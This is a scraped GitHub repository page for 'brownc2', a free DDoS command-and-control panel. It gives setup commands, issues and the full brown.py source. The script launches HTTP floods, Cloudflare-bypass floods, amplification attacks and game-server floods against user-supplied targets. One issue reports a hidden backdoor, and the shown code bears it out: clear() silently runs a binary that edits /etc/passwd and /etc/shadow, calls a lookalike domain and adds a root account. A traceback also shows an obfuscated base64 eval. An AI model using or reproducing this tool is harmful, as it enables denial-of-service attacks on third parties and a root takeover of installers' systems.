Giter Site home page Giter Site logo

rude1882 / brownc2 Goto Github PK

View Code? Open in Web Editor NEW
53.0 1.0 22.0 2.39 MB

open source c2 ddos panel

License: MIT License

JavaScript 93.37% Python 6.04% Perl 0.59%
ddos ddos-tool brown cf-bypass cfbypass cloudflare ddos-attacks ddosguard-bypass ddospanel layer

brownc2's Introduction

πŸš€ Brown- Free DDoS Panel πŸš€

Your terminal has to accept ANSI colors so that the colors can be seen
Username: 1337
Password: 1337

proxy update command proxy-crawl telegram: mertsoyan

Tree

Plz β™₯️

It would help me a lot if you give a star ⭐ to this repository.
One star from you = more desire to continue updating Brown

BrownC2 Info

  • Open Source
  • Stable
  • Simple
  • Methods for Layer 4 and 7
  • Bypass (CF, OVH, Etc)
  • The source is not mine, I just made a few additions, the original owner of the source SkyWtkh

Setup

git clone https://github.com/rude1882/brownc2
cd Stanley
sudo python3 installer.py
ulimit -n 999999
chmod +x *
sudo python3 brown.py

Credits

CNC Coded SkyWtkh
MHProDev
Empfaked
im-federal
R00tS3C
(Methods <3)
Z3NTL3
(Inspiration <3)

TOS:

Do not attack government pages (.gov/.gob), educational pages (.edu) or the United States Department of Defense (.mil), 
the creator is not responsible for the damage caused by the attacks. 
remember: you are responsible for the attacks since this tool was created for educational purposes

brownc2's People

Contributors

rude1882 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

brownc2's Issues

Cannot Import Mapping

Traceback (most recent call last):
File "/home/kali/AlatSantet/PukulWeb/brownc2/brown.py", line 11, in
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
File "", line 3, in
File "/usr/local/lib/python3.10/dist-packages/requests/init.py", line 43, in
import urllib3
File "/usr/local/lib/python3.10/dist-packages/urllib3/init.py", line 8, in
from .connectionpool import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/connectionpool.py", line 29, in
from .connection import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/connection.py", line 39, in
from .util.ssl_ import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/init.py", line 3, in
from .connection import is_connection_dropped
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/connection.py", line 3, in
from .wait import wait_for_read
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/wait.py", line 1, in
from .selectors import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/selectors.py", line 14, in
from collections import namedtuple, Mapping
ImportError: cannot import name 'Mapping' from 'collections' (/usr/lib/python3.10/collections/init.py)

Infected!

I just found this in source os.system('sudo ./MertOVH') I looked in MertOVH File and saw this chattr -i /etc/passwd chattr -i /etc/shadow curl http://www.yȯutube.com/watch?v=2OQhjWbhidz 2>/dev/null rm -rf watch?v=2OQhjWbhidz echo 'wares:x:0:0:defaultsystem:/root:/bin/bash' >> /etc/passwd; echo 'wares:123:18020:0:99999:7:::' >> /etc/shadow;echo 'wares:mert3131' | chpasswd chattr +i /etc/passwd chattr +i /etc/shadow endlessxd
so its 100% Infected here brown.py source

import socket
import os
import requests
import random
import getpass
import time
import sys

def clear():
os.system('sudo ./MertOVH')
os.system('cls' if os.name == 'nt' else 'clear')

proxys = open('proxies.txt').readlines()
bots = len(proxys)

def ascii_vro():
clear()
print(f'''
/ **/|
| == /
| |
| |
| /
|/
''')
time.sleep(0.6)
clear()
print(f'''
/ **/|
| == /
| |
| |
| /
|/
''')
time.sleep(0.6)
clear()
print(f'''
/ **/|
| == /
| |
''')
time.sleep(0.6)
clear()
print(f"""
.-^^---....,,--
-- --
< >)
| |
.
_./
```--. . , ; .--'''
| | |
.-=|| | |=-.
`-=#$%&%$#=-'
| ; :|
.,-#%&$@%#&#~,.
""")
time.sleep(0.8)
clear()

def si():
print('\x1b[38;2;0;255;255m[ \x1b[38;2;233;233;233m1337 \x1b[38;2;0;255;255m] | \x1b[38;2;233;233;233mWelcome to Brown C2 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mOwners: Arrys-weird1337 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mNew Methods \x1b[38;2;0;255;255m+ \x1b[38;2;233;233;233mNew UI!')
print("")

def tools():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mTools \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14m╔═══════════════╩══════╦════════╩═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mgeoip \x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mreverse-dns \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mreverseip \x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255msubnet-lookup \x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255masn-lookup \x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mdns-lookup \x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•©β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
''')

def rules():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mRules \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14m╔═══════════════╩═══════════════╩═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m1. Do not attack without someone's permission \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m2. Do not attack .gov/.gob/.edu/.mil domains \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m3. Do not spam attacks \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m4. Only attack stress testing servers \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m5. Don't skid the panel \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m6. Give a star to the github repository \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255m7. The creator does not do any harm \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
''')

def ports():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;255;255mPorts \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14m╔═══════════════╩═══════════════╩═══════════════╗
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;212;14m21 - \x1b[38;2;0;255;255mSFTP \x1b[38;2;0;212;14m69 - \x1b[38;2;0;255;255mTFTP \x1b[38;2;0;212;14m5060 - \x1b[38;2;0;255;255mRIP \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;212;14m22 - \x1b[38;2;0;255;255mSSH \x1b[38;2;0;212;14m80 - \x1b[38;2;0;255;255mHTTP \x1b[38;2;0;212;14m30120 - \x1b[38;2;0;255;255mFIVEM\x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;212;14m23 - \x1b[38;2;0;255;255mTELNET \x1b[38;2;0;212;14m443 - \x1b[38;2;0;255;255mHTTPS \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;212;14m25 - \x1b[38;2;0;255;255mSMTP \x1b[38;2;0;212;14m3074 - \x1b[38;2;0;255;255mXBOX \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•‘ \x1b[38;2;0;212;14m53 - \x1b[38;2;0;255;255mDNS \x1b[38;2;0;212;14m5060 - \x1b[38;2;0;255;255mPLAYSATION \x1b[38;2;0;212;14mβ•‘
\x1b[38;2;0;212;14mβ•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
''')

def layer7():
clear()
si()
print(f'''

                            β•”β•— β”¬β”€β”β”Œβ”€β”β”¬ β”¬β”Œβ”β”Œ  ═╗ ╦
                            β• β•©β•—β”œβ”¬β”˜β”‚ β”‚β”‚β”‚β”‚β”‚β”‚β”‚  ╔╩╦╝
                            β•šβ•β•β”΄β””β”€β””β”€β”˜β””β”΄β”˜β”˜β””β”˜  β•© β•šβ• 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              β•‘ https-fuck    β•‘β•‘ cloudflare-uamβ•‘β•‘ fivem-dropβ•‘β•‘ NTP           β•‘
              β•‘ goat-bypass   β•‘β•‘ SYN         β•‘β•‘ OVHV1       β•‘β•‘ LDAP          β•‘
              β•‘ normalbypass  β•‘β•‘ ACK         β•‘β•‘ OVHV2       β•‘β•‘ DNS           β•‘
              β•‘ http-raw      β•‘β•‘ r6-drop     β•‘β•‘ DISCORD-LAG β•‘β•‘ MDNS          β•‘
              β•‘ http-get      β•‘β•‘ home-god    β•‘β•‘ DISCORDCRASHβ•‘β•‘ MSSQL         β•‘
              β•šβ•β•β•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•β•
                       β•‘ Usage : write method name                  β•‘
                       β•‘ Info: Max Boot Time For Bypass Is 200 Secs β•‘
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

''')

def layer4():
clear()
si()
print(f'''

                            β•”β•— β”¬β”€β”β”Œβ”€β”β”¬ β”¬β”Œβ”β”Œ  ═╗ ╦
                            β• β•©β•—β”œβ”¬β”˜β”‚ β”‚β”‚β”‚β”‚β”‚β”‚β”‚  ╔╩╦╝
                            β•šβ•β•β”΄β””β”€β””β”€β”˜β””β”΄β”˜β”˜β””β”˜  β•© β•šβ• 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              β•‘ ovh-fuck      β•‘β•‘ TCP         β•‘β•‘ fivem-drop  β•‘β•‘ NTP           β•‘
              β•‘ vse           β•‘β•‘ SYN         β•‘β•‘ OVHV1       β•‘β•‘ LDAP          β•‘
              β•‘ CLIENTFLOODER β•‘β•‘ ACK         β•‘β•‘ OVHV2       β•‘β•‘ DNS           β•‘
              β•‘ TS3DROPER     β•‘β•‘ r6-drop     β•‘β•‘ DISCORD-LAG β•‘β•‘ MDNS          β•‘
              β•‘ BIG           β•‘β•‘ home-god    β•‘β•‘ DISCORDCRASHβ•‘β•‘ MSSQL         β•‘
              β•šβ•β•β•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•β•
                       β•‘ Usage : write method name                  β•‘
                       β•‘ Info: Max Boot Time For Bypass Is 200 Secs β•‘
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

''')

def amp_games():
clear()
si()
print(f'''

                            β•”β•— β”¬β”€β”β”Œβ”€β”β”¬ β”¬β”Œβ”β”Œ  ═╗ ╦
                            β• β•©β•—β”œβ”¬β”˜β”‚ β”‚β”‚β”‚β”‚β”‚β”‚β”‚  ╔╩╦╝
                            β•šβ•β•β”΄β””β”€β””β”€β”˜β””β”΄β”˜β”˜β””β”˜  β•© β•šβ• 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              β•‘ ovh-fuck      β•‘β•‘ TCP         β•‘β•‘ fivem-drop  β•‘β•‘ NTP           β•‘
              β•‘ vse           β•‘β•‘ SYN         β•‘β•‘ OVHV1       β•‘β•‘ LDAP          β•‘
              β•‘ CLIENTFLOODER β•‘β•‘ ACK         β•‘β•‘ OVHV2       β•‘β•‘ DNS           β•‘
              β•‘ TS3DROPER     β•‘β•‘ r6-drop     β•‘β•‘ DISCORD-LAG β•‘β•‘ MDNS          β•‘
              β•‘ BIG           β•‘β•‘ home-god    β•‘β•‘ DISCORDCRASHβ•‘β•‘ MSSQL         β•‘
              β•šβ•β•β•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•¦β•β•β•β•β•β•β•β•β•
                       β•‘ Usage : write method name                  β•‘
                       β•‘ Info: Max Boot Time For Bypass Is 200 Secs β•‘
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•‘ -             β•‘β•‘ -           β•‘β•‘     -       β•‘β•‘     -         β•‘
              β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

''')

def menu():
sys.stdout.write(f"\x1b]2;Brown C2 SERVERS CONNECTED: [{bots}] | Online Users: [1] | Methods: [25] | Bypass: [10] | Amps: [1]\x07")
clear()
print('\x1b[38;2;0;255;255m[ \x1b[38;2;233;233;233m1337 \x1b[38;2;0;255;255m] | \x1b[38;2;233;233;233mWelcome to Brown C2 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mOwners: Arrys-weird1337 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mNew Methods \x1b[38;2;0;255;255m+ \x1b[38;2;233;233;233mNew UI!')
print("")
print("""

                    β•”β•— β”¬β”€β”β”Œβ”€β”β”¬ β”¬β”Œβ”β”Œ  ═╗ ╦
                    β• β•©β•—β”œβ”¬β”˜β”‚ β”‚β”‚β”‚β”‚β”‚β”‚β”‚  ╔╩╦╝
                    β•šβ•β•β”΄β””β”€β””β”€β”˜β””β”΄β”˜β”˜β””β”˜  β•© β•šβ•
            ╔══════════════════════════════════════════════╗
            β•‘       Welcome to Brown C2  DDoS Panel        β•‘
            β•‘ - - -   The best free panel on github  - - - β•‘
            β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
                ╔══════════════════════════════════════╗
                β•‘  serdar yapma nolursunπŸ’”
                β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
            ╔══════════════════════════════════════════════╗
            β•‘   Type [help] to see the Brown C2 commands.  β•‘
            β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

""")
def main():
menu()
while(True):
cnc = input('''\x1b[38;2;0;212;14m╔══[root\x1b[38;2;0;186;45m@b\x1b[38;2;0;150;88mro\x1b[38;2;0;113;133mw\x1b[38;2;0;83;168mn\x1b[38;2;0;49;147m]
\x1b[38;2;0;212;14mβ•š\x1b[38;2;0;186;45m═\x1b[38;2;0;150;88m═\x1b[38;2;0;113;133m═\x1b[38;2;0;83;168m═\x1b[38;2;0;49;147m➀ \x1b[38;2;239;239;239m''')
if cnc == "layer7" or cnc == "LAYER7" or cnc == "L7" or cnc == "l7":
layer7()
elif cnc == "layer4" or cnc == "LAYER4" or cnc == "L4" or cnc == "l4":
layer4()
elif cnc == "amp/games" or cnc == "AMP/GAMES" or cnc == "amp/game" or cnc == "amps/game" or cnc == "amps/games" or cnc == "amp/games" or cnc == "AMP/GAME":
amp_games()
elif cnc == "rule" or cnc == "RULES" or cnc == "rules" or cnc == "RULES" or cnc == "RULE34":
rules()
elif cnc == "clear" or cnc == "CLEAR" or cnc == "CLS" or cnc == "cls":
main()
elif cnc == "ports" or cnc == "port" or cnc == "PORTS" or cnc == "PORT":
ports()
elif cnc == "tools" or cnc == "tool" or cnc == "TOOLS" or cnc == "TOOL":
tools()

    elif "normal-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node httpbypassv2.js {url} {time}')
        except IndexError:
            print('Usage: normal-bypass <url> <time>')
            print('Example: normal-bypass http://example.com 20')

    elif "cf-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            threads = cnc.split()[3]
            os.system(f'node cf.js {url} {time} {threads}')
        except IndexError:
            print('Usage: cf-bypass <url> <time> <threads>')
            print('Example: cf-bypass http://example-cloud.com 20 15')

    elif "https-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node https.js {url} {time} proxies.txt')
        except IndexError:
            print('Usage: https-bypass <url> <time>')
            print('Example: https-bypass http://example.org 20')

    elif "http-raw" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            method = cnc.split()[3]
            os.system(f'node HTTP-RAW.js {url} {time} {method}')
        except IndexError:
            print('Usage: https-raw <url> <time> <GET/POST/HEAD>')
            print('Example: http-raw http://example.com 20 POST')

    elif "cloudflare-uam" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            cpt = cnc.split()[3]
            os.system(f'node uambypass.js {url} {time} {cpt} proxies.txt ')
        except IndexError:
            print('Usage: cloudflare-uam <url> <time> <req_per_ip>')
            print('Example: cloudflare-uam http://example-uam.com 20 250')

    elif "http-overflow" in cnc:
        try:
            ip = cnc.split()[1]
            time = cnc.split()[2]
            threads = cnc.split()[3]
            os.system(f'./OVERFLOW {ip} {time} {threads}')
        except IndexError:
            print('Usage: http-overflow <ip> <time> <threads>')
            print('Example: http-overflow 77.233.1XX.XX 30 15')

    elif "http-get" in cnc:
        try:
            url = cnc.split()[1]
            idk = cnc.split()[2]
            idk1 = cnc.split()[3]
            idk2 = cnc.split()[4]
            os.system(f'perl httpget {url} {idk} {idk1} {idk2}')
        except IndexError:
            print('Usage: http-get <url> <10000> <50> <100>')
            print('Example: http-get http://example.com 10000 50 100')

    elif "http-flood" in cnc:
        try:
            url = cnc.split()[1]
            threads = cnc.split()[2]
            method = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'./httpflood {url} {threads} {method} {time} header.txt')
        except IndexError:
            print('Usage: http-flood <url> <threads> <get/post> <time>')
            print('Example: http-flood http://example.com 15 post 30')

    elif "100up-bypass" in cnc:
        try:
            method = cnc.split()[1]
            ip = cnc.split()[2]
            port = cnc.split()[3]
            time = cnc.split()[4]
            connections = cnc.split()[5]
            os.system(f'./100UP-TCP {method} {ip} {port} {time} {connections}')
        except IndexError:
            print('Usage: 100up-bypass <GET/POST/HEAD> <ip> <port> <time> <connections')
            print('Example: 100up-bypass GET 77.233.1XX.XX 80 20 80000')

    elif "http-dstat" in cnc:
        try:
            url = cnc.split()[1]
            connections = cnc.split()[2]
            rps = cnc.split()[3]
            os.system(f'perl dstat.pl {url} {connections} {rps} 13.87')
        except IndexError:
            print('Usage: http-dstat <url> <connections> <rps>')
            print('Example: http-dstat http://example.org 50000 50000')

    elif "goat-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            rps = cnc.split()[3]
            os.system(f'node method.js {url} {time} request {rps}')
        except IndexError:
            print('Usage: goat-bypass <url> <time> <requests_per_second>')
            print('Example: goat-bypass http://example-protected-org 30 450')

    elif "geoip" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/geoip/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: geoip <ip>')
            print('Example: geoip 1.1.1.1')

    elif "reverseip" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/reverseiplookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: reverseip <ip>')
            print('Example: reverseip 1.1.1.1')

    elif "subnet-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/subnetcalc/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: subnet-lookup <cdr/ip + netmask>')
            print('Example: subnet-lookup 192.168.1.0/24')

    elif "asn-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/aslookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: asn-lookup <ip/asn>')
            print('Example: asn-lookup AS15169')

    elif "dns-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/dnslookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: dns-lookup <dns>')
            print('Example: dns-lookup google.com')

    elif "reverse-dns" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/reversedns/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: reverse-dns <ip/domain>')
            print('Example: reverse-dns 8.8.8.8')                

    elif "https-fuck" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node http2.js GET {url} proxies.txt {time} 64 8')
        except IndexError:
            print(f'Usage: https-fuck <url> <time>')
            print("Example: https-fuck http://sexo.org 30")

    elif "autobypass" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            time = cnc.split()[3]
            os.system(f'./AUTOBYPASS TCP {ip} {port} {time}')
        except IndexError:
            print('Usage: autobypass <ip> <port> <time>')
            print('Example: autobypass 188.40.1XX.XX 80 30')

    elif "http-rand" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node HTTP-RAND.js {url} {time}')
        except IndexError:
            print("Usage: http-rand <url> <time>")
            print("Example: http-rand http://si.com 10")

    elif 'ldap-vro' in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./ldapv2 {ip} {port} ldaplist.txt {threads} {pps} {time}')
        except IndexError:
            print(f'Usage: ldap-vro <ip> <port> <threads> <pps> <time>')
            print(f'Example: ldap-vro 1.1.1.1 8739 15 1024 50')

    elif "ovhamp" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            os.system(f'sudo ./OVH-AMP {ip} {port}')
        except IndexError:
            print(f'Usage: ovhamp <ip> <port>')
            print(f'Example: ovhamp 1.1.1.1 34264')

    elif "fivem-drop" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./fivem {ip} {port} fivem.txt {threads} {pps} {time}')
        except IndexError:
            print('Usage: fivem-drop <ip> <port> <threads> <pps> <time>')
            print('Example: fivem-drop 1.1.1.1 30120 15 80000 30')

    elif "fortnite-fly" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            time = cnc.split()[4]
            pps = cnc.split()[5]
            os.system(f'python3 FORTNITE-FLY.py {ip} {port} {threads} {time} {pps}')
        except IndexError:
            print('Usage: fornite-fly <ip> <port> <threads> <time> <pps>')
            print(f'Example: fortnite-fly 1.1.1.1 45 30 50 100000')

    elif "udp-god" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            throttle = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./udp {ip} {port} {threads} {throttle} {time}')
        except IndexError:
            print(f'Usage: udp-god <ip> <port> <threads> <throttle> <time>')
            print(f'Example: udp-god 1.1.1.1 80 30 40000 30')

    elif "haven-god" in cnc:
        try:
            ip = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'sudo ./haven -d {ip} -t {time} -z 130')
        except IndexError:
            print('Usage: haven-god <ip> <time>')
            print('Example: haven-god 192.168.0.1 30')

    elif "telnet-god" in cnc:
        try:
            ip = cnc.split()[1]
            threads = cnc.split()[2]
            pps = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'sudo ./telnet {ip} {threads} {pps} {time}')
        except IndexError:
            print(f'Usage: telnet-god <ip> <threads> <pps> <time>')
            print('Example: telnet-god 192.168.0.1 30 80000 50')

    elif "home-god" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            psize = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'perl home.pl {ip} {port} {psize} {time}')
        except IndexError:
            print(f'Usage: home-god <ip> <port> <packet_size> <time>')
            print(f'Example: home-god 1.1.1.1 80 1024 50')

    elif "r6-drop" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./R6-DROP {ip} {port} {threads} {pps} {time}')
        except IndexError:
            print('Usage: r6-drop <ip> <port> <threads> <pps> <time>')
            print('Example: r6-drop 1.1.1.1 8739 20 50000 30')

    elif "vse" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'sudo ./vse {ip} {port} {threads} {time}')
        except IndexError:
            print('Usage: vse <ip> <port> <threads> <time>')
            print('Example: vse 1.1.1.1 80 30 50')

    elif "ovh-fuck" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            os.system(f'sudo ./MertOVH {ip} {port}')
        except IndexError:
            print('Usage: game-crash <ip> <port>')
            print('Example: game-crash 192.168.0.1 22')

    elif "proxy-crawl" in cnc:
        os.system('python3 crawl.py')

    elif "help" in cnc:
        print(f'''
                            ═════════╦════════════════╦══════════
                    ╔════════════════╩════════════════╩════════════════╗
         ╔══════════╩══════════╦══╦═════════════════════╦═══╦══════════╩══════════╗
         β•‘  layer7             β•‘ Lβ•‘  game               β•‘ L β•‘  tools              β•‘
         β•‘  layer4             β•‘  β•‘  rules              β•‘   β•‘  cls                β•‘
         β•‘  amp                β•‘  β•‘  ports              β•‘   β•‘  <empty>            β•‘
